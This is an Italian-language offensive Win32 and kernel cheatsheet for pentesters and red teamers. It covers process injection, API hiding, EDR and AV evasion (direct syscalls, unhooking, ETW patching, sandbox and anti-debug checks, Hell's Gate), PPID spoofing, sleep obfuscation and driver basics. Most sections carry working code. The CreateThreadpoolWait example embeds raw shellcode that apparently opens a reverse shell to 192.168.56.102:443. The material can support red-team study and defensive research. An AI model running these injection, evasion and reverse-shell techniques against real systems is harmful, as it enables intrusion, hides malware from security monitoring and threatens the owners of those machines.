
Win32 and Kernel abusing techniques for pentesters
Tecniche di abuso di Win32 e Kernel per pentester e red teamer create da @UVision e @RistBS
Modalità sviluppatore attiva, aperto a qualsiasi aiuto :)
DOS_HEADER : Prima intestazione del PE, contiene il messaggio MS DOS ("This programm cannot be run in DOS mode...."), l'intestazione MZ (byte magici per identificare il PE) e del contenuto stub.IMAGE_NT_HEADER : Contiene la firma del file PE, il File Header e l'Optionnal HeaderSECTION_TABLE : Contiene le intestazioni delle sezioniSECTIONS : Non è un'intestazione ma è utile sapere: queste sono le sezioni del PEDettagli : https://www.researchgate.net/figure/PE-structure-of-normal-executable_fig1_259647266
Semplice parsing del PE per recuperare l'indirizzo assoluto di IAT e ILT:
GetModuleHandleA(NULL);BaseAddress+PIMAGE_DOS_HEADER.e_lfnanew (RVA NT_HEADER)OptionnalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT] di PIMAGE_NT_HEADERIMAGE_DATA_DIRECTORY.VirtualAddress (RVA di IMAGE_IMPORT_DIRECTORY)BaseAddress + IMAGE_IMPORT_DIRECTORY.VirtualAddress (RVA di IMAGE_IMPORT_DESCRIPTOR)L'EAT risolve tutte le funzioni esportate dal PE e risolve anche le DLL. È definita nella struttura IMAGE_EXPORT_DIRECTORY:```c
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name; // name of DLL
DWORD Base; // first ordinal number
DWORD NumberOfFunctions; // number of entries in EAT
DWORD NumberOfNames; // number of entries in (1) (2)
DWORD AddressOfFunctions; // RVA EAT and contains also RVA of exported functions
DWORD AddressOfNames; // Pointer array contains address of function names
DWORD AddressOfNameOrdinals; // Pointer array contains address of ordinal number of functions (index in AddressOfFunctions)
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
Si noti che l'EAT è definita in una DLL, non in un PE "reale" (un PE userà l'EAT di una DLL caricata per risolvere i puntatori alle funzioni che vuole utilizzare).
### Risolvere l'indirizzo di una funzione
**Tramite l'indirizzo della funzione**
Che aspetti? Trova questa funzione!
**Tramite il numero ordinale**
Un numero ordinale è un **indice di posizione** che individua l'indirizzo di funzione corrispondente nell'array `AddressOfFunctions`. Può essere usato per **recuperare l'indirizzo corretto della funzione**, come di seguito:
Proviamo a trovare l'indirizzo corrispondente (Addr4) con il numero ordinale 3.
- **AddressOfFunctions** : *Addr1 Addr2 Addr3 Addr4 .... AddrN*
- **AdressOfNameOrdinals** : *2 5 7 3 ... N*
L'indirizzo che stiamo cercando si trova alla posizione 3 (partendo da 0), e il nostro numero ordinale corrisponde all'**indice di questo indirizzo**.
**Tramite il nome della funzione**
L'elemento N nell'array AddressOfNames corrisponde all'elemento N nell'array AddressOfNameOrdinals: usando un dato nome, puoi recuperare il numero ordinale corrispondente e procedere a trovare l'indirizzo della funzione usando questo numero.
## Tabella degli Indirizzi di Importazione (IAT)
- Il caricatore PE non sa quale indirizzo corrisponde a quale funzione: chiamiamo l'IAT per salvarci
- Definita nella struct IMAGE_IMPORT_DIRECTORY:```c
typedef struct _IMAGE_IMPORT_DESCRIPTOR {
DWORD Characteristics;
DWORD OriginalFirstThunk; // RVA to ILT
DWORD TimeDateStamp;
DWORD ForwarderChain;
DWORD Name; // RVA of imported DLL name
DWORD FirstThunk; // RVA to IAT
} IMAGE_IMPORT_DESCRIPTOR,*PIMAGE_IMPORT_DESCRIPTOR;
In sintesi, la IAT è una tabella che contiene puntatori a diverse funzioni importate dal PE dalle DLL caricate (ntdll, kernel32...).
Esempio di codice dettagliato qui: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/miscellaneous/iat_parser.cpp
Ogni DLL importata dal PE ha la propria ILT.``` Absolute address of ILT = BaseAddress + OriginalFirstThunk (IAT)
Contiene i nomi di tutte le funzioni che si trovano nella DLL importata.
<br>
## Abilitare il privilegio SeDebug
Il privilegio **SeDebug** è il privilegio "più ambito" in tutte le liste dei privilegi di Windows. Consente di "eseguire il debug" di qualsiasi processo autorizzato, il che può tradursi in diverse azioni offensive, come aprire un handle con privilegi ```PROCESS_ALL_ACCESS```.
Per abilitarlo in usermode, dovrai usare una funzione come :```cpp
void EnableDebugPriv()
{
HANDLE hToken;
LUID luid;
TOKEN_PRIVILEGES tkp;
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = luid;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, false, &tkp, sizeof(tkp), NULL, NULL);
CloseHandle(hToken);
}
Questa funzione aprirà il token del processo corrente, quindi lo regolerà al privilegio SE_PRIVILEGE_ENABLED, che corrisponde al privilegio target.
Esempio di codice : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/classic.cpp
Questa tecnica aveva buoni tassi di bypass qualche anno fa; tuttavia, a causa del crescente numero di EDR e altre soluzioni endpoint, la scrittura su disco dovrebbe essere evitata il più possibile.
Esempio di codice : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/dll_classic.cpp
Puoi eseguire un file binario raw in memoria allocando uno spazio pari alla sua dimensione in una regione di memoria :```cpp HANDLE binfile = CreateFileA("myfile.bin",GENERIC_READ,NULL,NULL,OPEN_EXISTING,NULL,NULL); SIZE_T size = GetFileSize(binfile,NULL); LPVOID buffer=NULL; ReadFile(binfile,buffer,size,NULL,NULL); HANDLE hProc = GetCurrentProcess();
CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)buffer, NULL, 0, NULL); CloseHandle(hProc);
<br>
# Tecniche di code injection
## CreateRemoteThread injection
Basta scrivere il proprio shellcode in uno spazio di memoria precedentemente allocato all'interno del processo target. (Non OPSEC)
> Esempio di codice : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/create_thread_injection.cpp
## Process Hollowing
Il Process Hollowing viene eseguito in diversi passaggi :
- Creare il processo target (quello "svuotato") in modalità sospesa : è necessario per modificarlo
- Rimuovere la mappatura del processo target dal suo PEB (è necessario dichiarare prima questa struttura)
- Scrivere il contenuto del nuovo exe in questo processo : headers + contenuto
- Analizzare e applicare la tabella di relocation
- Lasciare che il processo continui a essere eseguito nel suo thread
- Goditi
> Un POC completo può essere trovato qui : https://www.ired.team/offensive-security/code-injection-process-injection/process-hollowing-and-pe-image-relocations
## APC Queue Technique
Inietta il tuo shellcode in tutti i thread disponibili in un processo, quindi usa la funzione ```QueueUserAPC()``` per mettere in coda una chiamata APC. Questa tecnica può non essere affidabile quando nel processo compromesso non ci sono molti thread.
> Esempio di codice : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/apc.cpp
## Early Bird
Simile all'iniezione APC Queue, qui la chiamata APC deve essere impostata in un processo sospeso. Il thread principale del processo creato viene poi ripreso; il principale vantaggio di questa tecnica è che evitare di scrivere lo shellcode in un processo in esecuzione riduce le probabilità di essere rilevati da AV/EDR.
> Esempio di codice : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/earlybird.cpp
## Reflective DLL Injection
Come con l'iniezione di DLL "statica" (utilizzando il file DLL), puoi iniettare la tua DLL nella maggior parte dei processi riflettendola in memoria. Ha il vantaggio di bypassare facilmente alcuni prodotti AV/EDR, nonostante oggi sia un metodo piuttosto segnalato.
Devi prima allocare la memoria ed eseguire un po' di lavoro di relocation per farlo funzionare.
Il noto POC di questa tecnica è stato pubblicato da stephenfewer : https://github.com/stephenfewer/ReflectiveDLLInjection
## Dll injection
Puoi iniettare del codice memorizzato in una DLL in un processo remoto. Sfortunatamente, i prodotti EDR probabilmente lo rileveranno facilmente, soprattutto se la DLL dannosa tocca il disco.
> Esempio di codice : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/dll_injection.cpp
## Process Doppelganging
Il Process Doppelganging è stato fino a qualche anno fa un metodo non rilevato per lanciare il proprio payload in modo piuttosto subdolo. È stato dimostrato al BlackHat 2017 da Tal Liberman e Eugene Kogan, guarda il loro straordinario lavoro : https://www.youtube.com/watch?v=Cch8dvp836w
È un passaggio "intermedio" prima della tecnica del process hollowing : l'immagine PE viene infatti sovrascritta prima di essere eseguita, quindi il WindowsLoader esegue il Process Hollowing per noi (bello vero ?).
Hasherezade ha realizzato un POC interessante di questa tecnica, disponibile qui : https://github.com/hasherezade/process_doppelganging
## Fibers
I Fibers possono essere definiti come ```cooperatively
threads (https://nullprogram.com/blog/2019/03/28/)```. Esso permette al programma principale di eseguire lo shellcode attraverso questo nuovo tipo di thread.
> Esempio di codice : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/fiber.cpp
## MapView code injection
Questa tecnica ti consente di condividere una vista di una sezione di memoria del tuo processo malevolo con un altro processo remoto, che eseguirà lo shellcode memorizzato in questa vista. Può essere realizzata utilizzando NtCreateSection/NtMapViewOfSection, evitando l'uso di procedure pesantemente monitorate come WriteProcessMemory() o VirtualAlloc() (tuttavia, anche NtMapViewOfSection può essere monitorata).
Esempio di codice : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/mapview_injection.cpp
## Module Stomping
Questa tecnica fa sì che il tuo beacon sia supportato da un modulo su disco```c
CHAR moduleName[] = "windows.storage.dll\x00";
HMODULE hVictimLib = LoadLibraryA(moduleName);
DWORD_PTR RXSection = (DWORD_PTR)hVictimLib;
RXSection += 0x1000 * 0x2;
RXSection += 0xc;
char* ptr = ( char* )RXSection;
per rilevare il module stomping (specialmente per Cobalt Strike) è stato rilasciato uno scanner chiamato DetectCobaltStomp per evidenziare alcuni IoC della tecnica, ma l'autore di Brute Ratel è riuscito a migliorare la tecnica originale.
Semplicemente si sostituisce l'indirizzo della funzione originale (ottenuto con GetProcAddress) con quello nuovo. Questa tecnica è ben descritta dal suo autore: https://idov31.github.io/2022-01-28-function-stomping/
L'inline hooking è il modo più semplice per fare hook di una funzione: consiste semplicemente nel reindirizzare la chiamata API verso la propria funzione (jump)
Esempio di codice: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/hooking/inline.cpp
Modificando l'indirizzo della funzione corrispondente con un puntatore alla propria funzione, si può far eseguire al programma il proprio codice.
Si può fare seguendo diversi passaggi:
Esempio di codice: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/hooking/iat.cpp
Ci sono diverse tecniche che puoi usare per nascondere le chiamate alle API Win32, ecco alcune di esse:
char[] per spezzare i nomi delle tue funzioni/DLL in più caratteri```cpp
char sWrite[] = {'W','r','i','t','e','P','r','o','c','e','s','s','M','e','m','o','r','y',0x0}; //don't forget the null byte> Puoi persino combinare questo trucco con una conversione di codici di caratteri ASCII.
## Risoluzione manuale delle funzioni
Puoi risolvere manualmente un puntatore a qualsiasi funzione di kernel32, ntdll e così via.
- Prima dichiara il modello della tua funzione, basato sull'intestazione della funzione reale:```cpp
typedef HANDLE(WINAPI* myOpenProcess)(DWORD,BOOL,DWORD); //if you work directly with ntdll, use NTAPI*
> Non esitare a combinare questa tecnica con un po' di offuscamento delle stringhe per evitare di passare il vero nome della funzione in chiaro.
## Hashing delle API Win32
Puoi nascondere le tue chiamate alle funzioni API facendone l'hash con un algoritmo di hash (djb2 è il più usato), fai attenzione alle possibili collisioni di hash con alcune funzioni speciali. Quindi combina questa tecnica con la risoluzione diretta dell'indirizzo nella EAT e fai piangere i reverser :)
<br>
# Bypass EDR/Endpoint
## Direct Syscall
La maggior parte dei prodotti EDR intercetta le chiamate alle API win32 in modalità utente (PatchGuard riduce fortemente la disponibilità degli hook a livello di kernel). Per evitare questi hook, puoi chiamare direttamente le funzioni Nt() equivalenti alle tue funzioni API.
-```asm
.code
SysNtCreateFile proc
mov r10, rcx //syscall convention
mov eax, 55h //syscall number : in this case it's NtCreateFile
syscall //call nt function
ret
SysNtCreateFile endp
end
Trova il numero di syscall corretto in questa tabella: https://j00ru.vexillium.org/syscalls/nt/64/
- Risolvi l'indirizzo NT```cpp
FARPROC addr = GetProcAddress(LoadLibraryA("ntdll"), "NtCreateFile");
Esempio di codice : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/evasion/direct_syscall.cpp
C++/C sono spesso più segnalati dai prodotti AV/EDR rispetto a linguaggi equivalenti di alto livello: usa Go, Rust o altri linguaggi per creare i tuoi template migliori,
Semplicemente (ri)aggancia le funzioni hookate applicando la corretta chiamata di funzione: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/hooking/inline.cpp
Per rilevare gli hook, devi prima ottenere l'indirizzo di base della NTDLL con LoadLibrary, poi analizzare gli header PE per individuare l'EAT (IMAGE_EXPORT_DIRECTORY) e i suoi offset, che conterranno tutte le informazioni importanti (funzioni esportate + nome). Risolvi semplicemente i nomi e gli indirizzi delle funzioni mentre iteri tra le funzioni esportate e applica le seguenti istruzioni if per ordinare le funzioni
> **⚠️** : alcune funzioni sono falsi positivi, ti consiglio di rilevarle :```c
if (strncmp(functionName, (char*)"NtGetTickCount", 14) == 0 ||
strncmp(functionName, (char*)"NtQuerySystemTime", 17) == 0 ||
strncmp(functionName, (char*)"NtdllDefWindowProc_A", 20) == 0 ||
strncmp(functionName, (char*)"NtdllDefWindowProc_W", 20) == 0 ||
strncmp(functionName, (char*)"NtdllDialogWndProc_A", 20) == 0 ||
strncmp(functionName, (char*)"NtdllDialogWndProc_W", 20) == 0 ||
strncmp(functionName, (char*)"ZwQuerySystemTime", 17) == 0) { }
if, verifica se i primi 4 byte di functionName sono uguali a mov r10, rcx; mov eax, ## che è l'inizio dello stub di syscall.```c
if (memcmp(functionAddress, syscallPrologue, 4) != 0) { // ... }> Esempio di codice: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/tree/main/evasion/detect_hooks.c
## Patch di ETW
Event Tracing for Windows (ETW) è un'API di logging di basso livello che può essere utilizzata per il debug/la registrazione dei processi in modalità kernel e usermode. È stata implementata per la prima volta in Windows 2000, ma il monitoraggio in tempo reale è davvero disponibile da Windows XP.
L'API ETW è disponibile nei file header forniti da Microsoft : https://docs.microsoft.com/fr-fr/windows/win32/api/_etw/
In un'operazione di pentest, dovresti occuparti di questa funzionalità applicandovi una patch : il metodo più usato è scrivere opcode arbitrari ```ret``` nella funzione di scrittura degli eventi ETW (```EtwEventWrite```) per evitare che i log vengano scritti da qualche parte.
Esempio di codice : //
## Bypass dei Sandbox
I sandbox sono abbastanza usati da AV/EDR per testare alcune chiamate API e altre parti del codice prima di eseguire realmente il tuo programma. Esistono diverse tecniche per aggirare questo strumento, eccone alcune qui sotto :
- Aspetta. Sul serio. Funzioni come `Sleep()` o `time.sleep()` o equivalenti faranno al caso tuo, per alcuni secondi prima di eseguire il vero shellcode.
- Prova ad allocare molta memoria (malloc), ad esempio 100000000 byte.
- Prova a rilevare se ti trovi effettivamente in un ambiente sandbox (VM) : cerca processi aperti, file e altre cose sospette.
- Prova a risolvere un URL falso (non funzionante) : molti prodotti AV risponderanno con una pagina falsa.
- Usa chiamate API strane e poco usate, come `VirtualAllocExNuma()`, la maggior parte dei sandbox non può emulare questo tipo di chiamata.```cpp
IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);
Non è una vera tecnica di evasione AV, ma è comunque utile per evitare di essere reversati troppo facilmente dai RE engineer. Ci sono molti modi per individuare i debugger o farli impazzire, ma eccone alcuni qui sotto:
Metodo dei flag
Puoi usare IsDebuggerPresent() (Win32) oppure la chiamata diretta NtQueryInformationProcess() (non molto documentata) per verificare i flag di debug.
Metodo degli handle
Prova a chiudere handle non validi (mancanti) con l'API CloseHandle(). Il debugger cercherà di catturare l'eccezione, cosa che può essere facilmente rilevata:```cpp
bool Check() //https://anti-debug.checkpoint.com/techniques/object-handles.html#closehandle
{
__try
{
CloseHandle((HANDLE)0xDEADBEEF);
return false;
}
__except (EXCEPTION_INVALID_HANDLE == GetExceptionCode()
? EXCEPTION_EXECUTE_HANDLER
: EXCEPTION_CONTINUE_SEARCH)
{
return true;
}
}
**Metodo ASM**
Prova a fare una chiamata INT 3 (ASM) : è l'equivalente di un breakpoint software, che attiverà un debugger. Ci sono molti altri modi per rilevare qualsiasi debugger, molti dei quali sono raccolti su : https://anti-debug.checkpoint.com/
## Tecnica VirtualProtect
Usando alcuni trucchi con `VirtualProtect()` puoi facilmente evitare di essere segnalato in memoria : passa da `PAGE_EXECUTE_READWRITE` a `PAGE_READWRITE` (meno sospetto) per evitare di attivare il tuo AV preferito.
## Fresh Copy Unhook
Evita gli hook sostituendo la ntdll "hooked" con una nuova, mappata direttamente dal disco.
Esempio di codice : // da aggiungere
## Hells Gate
Per evitare l'uso di syscall hardcoded, Hell's Gate (Hells Gates ?) le recupera dinamicamente analizzando l'EAT (confronta i byte di memoria con gli opcode delle syscall). Il PoC originale è stato realizzato dal grande team di VX-Underground e può essere trovato qui : https://papers.vx-underground.org/papers/Windows/Evasion%20-%20Systems%20Call%20and%20Memory%20Evasion/Dynamically%20Retrieving%20SYSCALLs%20-%20Hells%20Gate.7z
Un altro esempio : https://github.com/am0nsec/HellsGate
## Heavens Gate
Usa Wow64 per iniettare payload a 64 bit in un loader a 32 bit. Può essere utile per bypassare alcuni AV/EDR perché Wow64 evita che tu venga catturato in userland.
La versione più conosciuta di questa tecnica è stata creata dal team MSF; vedi il loro fantastico lavoro qui : https://github.com/rapid7/metasploit-framework/blob/21fa8a89044220a3bf335ed77293300969b81e78/external/source/shellcode/windows/x86/src/migrate/executex64.asm
## CreateThreadPoolWait
Abusando di CreateThreadPoolWait(), che può accettare un puntatore a una funzione di callback, puoi eseguire il tuo shellcode tramite questa procedura. Molte tecniche simili (che usano un puntatore a funzione di callback) sono disponibili su : http://ropgadget.com/posts/abusing_win_functions.html
Esempio :```cpp
//code from https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-via-createthreadpoolwait
#include <windows.h>
#include <threadpoolapiset.h>
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
"\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xc0\xa8\x38\x66\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
"\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";
int main()
{
HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);
LPVOID shellcodeAddress = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(shellcodeAddress, shellcode, sizeof(shellcode));
PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)shellcodeAddress, NULL, NULL);
SetThreadpoolWait(threadPoolWait, event, NULL);
WaitForSingleObject(event, INFINITE);
return 0;
}
Dirotta un thread in un processo remoto sospendendolo, quindi sostituisci il suo registro RIP (o EIP se sei in x86) con l'indirizzo del tuo shellcode.
Esempio di codice : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/thread_hijacking.c
Quando un processo sospetto/anomalo si avvia sotto un processo padre "legittimo" o non presidiato, diventa molto sospetto. Pensa a una macro Word dannosa che distribuisce un processo PowerShell : strano, vero ?
Lo spoofing del PPID può evitarlo permettendoti di modificare l'ID del processo padre (PPID) del processo che generi.```cpp #include <windows.h> #include <TlHelp32.h> #include
//code from : https://www.ired.team/offensive-security/defense-evasion/parent-process-id-ppid-spoofing int main() { STARTUPINFOEXA si; PROCESS_INFORMATION pi; SIZE_T attributeSize; ZeroMemory(&si, sizeof(STARTUPINFOEXA));
HANDLE parentProcessHandle = OpenProcess(MAXIMUM_ALLOWED, false, 6200);
InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);
return 0;
}
## Callback di instrumentazione di processo
Il callback di instrumentazione di processo è definito dal flag `ProcessInstrumentationCallback` (`0x40`) ed è utilizzato dai prodotti di sicurezza per [rilevare potenziali invocazioni dirette di syscall](https://winternl.com/detecting-manual-syscalls-from-user-mode/) registrando un callback per verificare che l'istruzione `syscall` provenga dall'immagine eseguibile e non da NTDLL. Per bypassarlo nel nostro processo, dobbiamo semplicemente impostare `Callback` a `NULL`.```c
PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION InstrumentationCallbackInfo;
InstrumentationCallbackInfo.Version = 0x0;
InstrumentationCallbackInfo.Reserved = 0x0;
InstrumentationCallbackInfo.Callback = NULL;
NtSetInformationProcess( hProcess, ProcessInstrumentationCallback, &InstrumentationCallbackInfo, sizeof( InstrumentationCallbackInfo ) );
è ancora "non documentato" da Microsoft ma Alex Ionescu lo ha documentato qui e anche Everdox lo ha fatto qui
Codice completo per bypassare la strumentazione qui : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/evasion/disable_instrumentation_callback.c
Attraversa l'heap con HeapWalk e poi crittografa le allocazioni :```c
VOID HeapEncryptDecrypt() {
PROCESS_HEAP_ENTRY HeapWalkEntry;
SecureZeroMemory( &HeapWalkEntry, sizeof( HeapWalkEntry ) );
while ( HeapWalk( GetProcessHeap(), &HeapWalkEntry ) ) {
if ( ( HeapWalkEntry.wFlags & PROCESS_HEAP_ENTRY_BUSY ) != 0 ) {
XORFunction( key, keySize, ( char* )( HeapWalkEntry.lpData ), HeapWalkEntry.cbData );
}
}
}
> maggiori informazioni qui: https://www.arashparsa.com/hook-heaps-and-live-free/
## Offuscamento del sonno
Molte PoC sull'offuscamento del sonno sono state pubblicate con diversi meccanismi (UM APCs, TP e altro); qui prendiamo come esempio [Ekko](https://github.com/Cracked5pider/Ekko/), che è la PoC più semplice da capire.
La catena ROP di Ekko è molto semplice: cambia la protezione della memoria in `RW`, cifra la regione con `SystemFunction032` (che implementa RC4), sospende l'esecuzione con `WaitForSingleObject`, decifra la regione e riporta la protezione a `RWX`. Infine, accoda tutti i `CONTEXT` con `CreateTimerQueueTimer`.
> Alcuni scanner come [TickTock](https://github.com/WithSecureLabs/TickTock) o [Patriot](https://github.com/joe-desimone/patriot) sono stati rilasciati per rilevarlo, ma puoi evitarli usando un trampoline verso `NtContinue` in NTDLL con un gadget e sostituendo il registro `Rip` nella catena ROP.
<br>
# Fondamenti di programmazione dei driver
## Concetti generali
I driver vengono utilizzati per eseguire codice in modalità kernel piuttosto che in modalità utente. È una tecnica potente per aggirare tutti gli hook e il monitoraggio in modalità utente impostati da AV/EDR. Può essere utilizzata anche per aggirare le callback del kernel e altro monitoraggio del kernel.
Il codice di qualsiasi driver deve essere verificato (qualsiasi avviso deve essere trattato come un errore) per garantire che sia privo di crash (non vorrai causare un BSOD durante un pentest, vero?).
Qualche anno fa, Microsoft ha deciso di vietare i driver non firmati dal proprio sistema operativo: devi disabilitare questo controllo prima di caricare un tuo driver, oppure usare una vulnerabilità (come https://github.com/hmnthabit/CVE-2018-19320-LPE) per disabilitare la firma dei driver.
In un pentest reale, devi trovare un driver vulnerabile e trarne vantaggio :)
## System Service Dispatch Table (SSDT)
La SSDT, o System Service Dispatch Table, è una tabella (ovviamente) che può risolvere, tramite il suo indice corrente, la corrispondente funzione Nt. Quando viene effettuata una chiamata in modalità utente, viene risolta come segue:
- ```OpenProcess``` (viene chiamata la funzione API Win32)
- ```NtOpenProcess``` (Risolta in ntdll.dll)```asm
mov r10, rcx
mov eax, 26
syscall
ret
ntdll contiene le procedure di system call per ogni funzione Nt
SSDT è definita in una Service Descriptor Table:```cpp typedef struct tagSERVICE_DESCRIPTOR_TABLE { SYSTEM_SERVICE_TABLE nt; //effectively a pointer to Service Dispatch Table (SSDT) itself SYSTEM_SERVICE_TABLE win32k; SYSTEM_SERVICE_TABLE sst3; //pointer to a memory address that contains how many routines are defined in the table SYSTEM_SERVICE_TABLE sst4; } SERVICE_DESCRIPTOR_TABLE;
L'SSDT è/era spesso agganciato dai rootkit, poiché era possibile modificare l'indirizzo corrispondente per puntare alle loro funzioni. **Patchguard** ha disabilitato questa possibilità, salvo in caso di qualche vulnerabilità interna.
> Molti prodotti antivirus usano oggi questo trucco, probabilmente utilizzando le stesse tecniche degli hacker malintenzionati ;)
## Ingresso del driver
La procedura di ingresso del driver è definita come di seguito :```cpp
#include <ntddk.h>
NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) {
return STATUS_SUCCESS;
}
È molto importante usare la macro UNREFERENCED_PARAMETER() sui parametri DriverObject e RegistryPath, a meno che non vengano referenziati aggiungendo del codice in seguito.```cpp
UNREFERENCED_PARAMETER(DriverObject);
UNREFERENCED_PARAMETER(RegistryPath);
## Input Output
Utilizza MajorFunction `IRP_MJ_CREATE` e `IRP_MJ_CLOSE` per fungere da "interrupt" e comunicare con il tuo driver dal lato client.```cpp
DriverObject->MajorFunction[IRP_MJ_CREATE] = CreateClose;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = CreateClose;
Poi definisci la tua funzione CreateClose :```cpp NTSTATUS CreateClose(In PDEVICE_OBJECT DeviceObject, In PIRP Irp) { UNREFERENCED_PARAMETER(DeviceObject);
DbgPrint("[+] Hello from FirstDriver CreateClose\n");
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
Codice di esempio completo qui : //
## Comunicare con il driver
Le applicazioni in modalità utente inviano IOCTL ai driver chiamando DeviceIoControl, come descritto nella documentazione Microsoft Windows SDK. Le chiamate a DeviceIoControl fanno sì che il modulo I/O crei una richiesta IRP_MJ_DEVICE_CONTROL e la invii al driver di livello più alto (https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/introduction-to-i-o-control-codes)
L'app in userland deve usare la funzione DeviceIoControl (ioapiset.h) per comunicare con un driver.
Verrà usata per inviare varie richieste al suo oggetto **Device**.
